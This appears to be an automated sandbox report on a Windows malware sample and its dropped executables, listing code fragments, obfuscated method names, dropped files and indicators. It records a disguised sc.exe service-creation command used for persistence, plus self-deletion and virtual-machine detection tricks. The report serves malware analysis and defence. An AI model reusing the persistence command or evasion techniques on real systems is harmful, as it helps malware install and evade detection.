Source: 26.0.D80A.exe.d20000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 26.2.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 26.0.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 36.0.D80A.exe.660000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 36.0.D80A.exe.660000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 36.0.D80A.exe.660000.9.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 1_2_004241C8 push eax; ret	1_2_004241E6
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 1_2_00863634 push es; iretd	1_2_00863640
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00401880 push esi; iretd	4_2_00401893
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00402E94 push es; iretd	4_2_00402EA0
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_00402E94 push es; iretd	4_1_00402EA0
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 15_2_00863634 push es; iretd	15_2_00863640
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 15_2_00A994C5 push esi; ret	15_2_00A99540
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 15_2_00A9952A push esi; ret	15_2_00A99540
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00401880 push esi; iretd	16_2_00401893
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00402E94 push es; iretd	16_2_00402EA0
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_00402E94 push es; iretd	16_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 20_2_00B094AD push esi; ret	20_2_00B09528
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 20_2_00B01EFB push ebx; retf	20_2_00B01EFC
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 20_2_00B09512 push esi; ret	20_2_00B09528
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00401880 push esi; iretd	22_2_00401893
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00402E94 push es; iretd	22_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_004139B0 push eax; ret	23_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00A06873 pushfd ; ret	23_2_00A0699F
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00A06841 pushfd ; ret	23_2_00A0699F
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00A0318B push ebx; ret	23_2_00A0318C
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00A05DE0 pushad ; ret	23_2_00A05DE1
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00A07B53 push ss; retf	23_2_00A07B66
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: 25_2_00424468 push eax; ret	25_2_00424486
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_00D28C65 push 00000028h; retf 0000h	26_2_00D28C6A
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_00D27649 push ebp; ret	26_2_00D2764A
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_02FC3C43 push ss; iretd	26_2_02FC3C4F
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_056ECCF8 pushfd ; retf	26_2_056ECCF9
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_056ECCB8 pushad ; retf	26_2_056ECCB9
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_05712504 push E80F6C5Eh; ret	26_2_05712509
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_057124F9 push E810635Eh; retf	26_2_05712501
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_057121AC push esp; ret	26_2_057121AD

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

Code function: 1_2_0041A8EB LoadLibraryA,GetProcAddress,VirtualProtect,

1_2_0041A8EB

Source: D80A.exe.11.dr

Static PE information: 0x87B69BB9 [Mon Feb 24 21:52:57 2042 UTC]

Source: GJXZRPhgm4.exe	Static PE information: section name: .zaxifuz
Source: CF8D.exe.11.dr	Static PE information: section name: .vupa
Source: B074.exe.11.dr	Static PE information: section name: .huwu
Source: B074.exe.11.dr	Static PE information: section name: .sax
Source: C209.exe.11.dr	Static PE information: section name: .adata
Source: C209.exe.11.dr	Static PE information: section name: .adata
Source: B7EC.exe.11.dr	Static PE information: section name: .zaxifuz
Source: C376.exe.11.dr	Static PE information: section name: .cixi
Source: aafjaea.11.dr	Static PE information: section name: .zaxifuz
Source: sqlite3.dll.23.dr	Static PE information: section name: /4
Source: sqlite3.dll.23.dr	Static PE information: section name: /19
Source: sqlite3.dll.23.dr	Static PE information: section name: /35
Source: sqlite3.dll.23.dr	Static PE information: section name: /51
Source: sqlite3.dll.23.dr	Static PE information: section name: /63
Source: sqlite3.dll.23.dr	Static PE information: section name: /77
Source: sqlite3.dll.23.dr	Static PE information: section name: /89
Source: sqlite3.dll.23.dr	Static PE information: section name: /102
Source: sqlite3.dll.23.dr	Static PE information: section name: /113
Source: sqlite3.dll.23.dr	Static PE information: section name: /124
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /35
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /51
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /63
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /77
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /89
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /102
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /113
Source: sqlite3[1].dll.23.dr	Static PE information: section name: /124
Source: ackjzztq.exe.25.dr	Static PE information: section name: .vupa

Source: initial sample	Static PE information: section name: .text entropy: 6.86058779643
Source: initial sample	Static PE information: section name: .text entropy: 6.86634281185
Source: initial sample	Static PE information: section name: .text entropy: 7.79683538387
Source: initial sample	Static PE information: section name: .text entropy: 7.99705057771
Source: initial sample	Static PE information: section name: .text entropy: 6.86058779643
Source: initial sample	Static PE information: section name: .text entropy: 6.87994948789
Source: initial sample	Static PE information: section name: .text entropy: 6.86058779643
Source: initial sample	Static PE information: section name: .text entropy: 6.86634281185

Source: D80A.exe.11.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: D80A.exe.11.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'
Source: 26.0.D80A.exe.d20000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'
Source: 26.0.D80A.exe.d20000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 26.0.D80A.exe.d20000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 26.0.D80A.exe.d20000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'
Source: 26.0.D80A.exe.d20000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 26.0.D80A.exe.d20000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'
Source: 26.2.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 26.2.D80A.exe.d20000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'
Source: 26.0.D80A.exe.d20000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'
Source: 26.0.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 36.0.D80A.exe.660000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 36.0.D80A.exe.660000.13.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'
Source: 36.0.D80A.exe.660000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'
Source: 36.0.D80A.exe.660000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 36.0.D80A.exe.660000.9.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 't6U6ZLMlVB', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 36.0.D80A.exe.660000.9.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'FSlJjr8gAn', '.cctor', 'BCXhs6e4TGHxhHf7QP', 'DMnoGZkYMSIWa74LH9', 'EcY1f3GG62nQEnwoZB', 'BosSuXqdHAVvfvCF1s'

Source: C:\Users\user\AppData\Local\Temp\C376.exe

File created: C:\ProgramData\sqlite3.dll

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\aafjaea

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\aafjaea	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B7EC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CF8D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D80A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C209.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	File created: C:\Users\user\AppData\Local\Temp\ackjzztq.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D1AA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C376.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B074.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe (copy)

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create ecrnzymb binPath= "C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe /d\"C:\Users\user\AppData\Local\Temp\CF8D.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

25_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\gjxzrphgm4.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\aafjaea:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Code function: 23_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

23_2_0040C2E0

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C376.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: B7EC.exe, 00000016.00000002.412203054.000000000062B000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D80A.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
